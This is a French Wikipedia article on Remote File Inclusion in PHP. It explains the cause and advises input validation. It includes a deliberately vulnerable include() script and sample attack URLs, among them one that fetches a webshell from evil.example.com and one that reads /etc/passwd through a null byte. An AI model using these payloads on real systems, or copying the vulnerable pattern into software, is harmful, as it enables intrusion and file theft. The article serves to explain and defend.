Remote File Inclusion

Un article de Wikipédia, l'encyclopédie libre.
Aller à : navigation, rechercher

Remote File Inclusion (RFI) est un type de vulnérabilité trouvé le plus souvent sur ​​des sites web. Il permet à un attaquant d'inclure un fichier distant, généralement par le biais d'un script sur ​​le serveur web. La vulnérabilité est due à l'utilisation de l'entrée fournie par l'utilisateur sans validation adéquate. Elle peut conduire à :

Les langages de programmation[modifier | modifier le code]

PHP[modifier | modifier le code]

En PHP, la cause principale est due à l'utilisation de variables externes non validés tels que $_GET, $_POST, $_COOKIE avec une fonction liée à un fichier. Les plus utilisés sont les fonctions d'include et de require. La plupart des vulnérabilités peuvent être attribués aux programmeurs débutants n'étant pas au courant de toutes les fonctionnalités du langage de programmation PHP. Le langage PHP a une directive allow_url_fopen, et si activée, elle permet aux fonctions de fichiers d'utiliser une URL qui leur permet de récupérer des données à partir d'emplacements distants. Un attaquant va modifier une variable qui est transmise à l'une de ces fonctions pour l'amener à inclure du code malveillant à partir d'une ressource distante. Pour atténuer cette vulnérabilité, toutes les entrées utilisateur doit être validée avant d'être utilisée.

Exemple[modifier | modifier le code]

Considérons ce script PHP (qui inclut un fichier spécifié par requête) :

<?php
   $color = 'blue';
   if (isset( $_GET['COLOR'] ) )
      $color = $_GET['COLOR'];
   include( $color . '.php' );
?>
<form method="get">
   <select name="COLOR">
      <option value="red">red</option>
      <option value="blue">blue</option>
   </select>
   <input type="submit">
</form>

Le développeur rend utilisable uniquement blue.php et red.php pour être utilisé comme options. Mais comme tout le monde peut facilement insérer des valeurs arbitraires en couleur, il est possible d'injecter du code à partir de fichiers:

  • /vulnerable.php?COLOR=http://evil.example.com/webshell.txt? - Injecte un fichier hébergé à distance contenant du code malveillant.
  • /vulnerable.php?COLOR=C:\\ftp\\upload\\exploit - Exécute le code à partir d'un fichier déjà téléchargé appelé exploit.php (vulnérabilité d'inclusion de fichiers en local)
  • /vulnerable.php?COLOR=C:\\notes.txt%00 - Par exemple en utilisant le caractère méta NULL pour enlever le suffixe php, permettant l'accès à des fichiers autres que php... (Avec magic_quotes_gpc activée, elle limite l'attaque par l'échappement des caractères spéciaux, cela désactive l'utilisation de la terminaison NULL)
  • /vulnerable.php?COLOR=/etc/passwd%00 - Permet à un attaquant de lire le contenu du fichier passwd sur un système UNIX.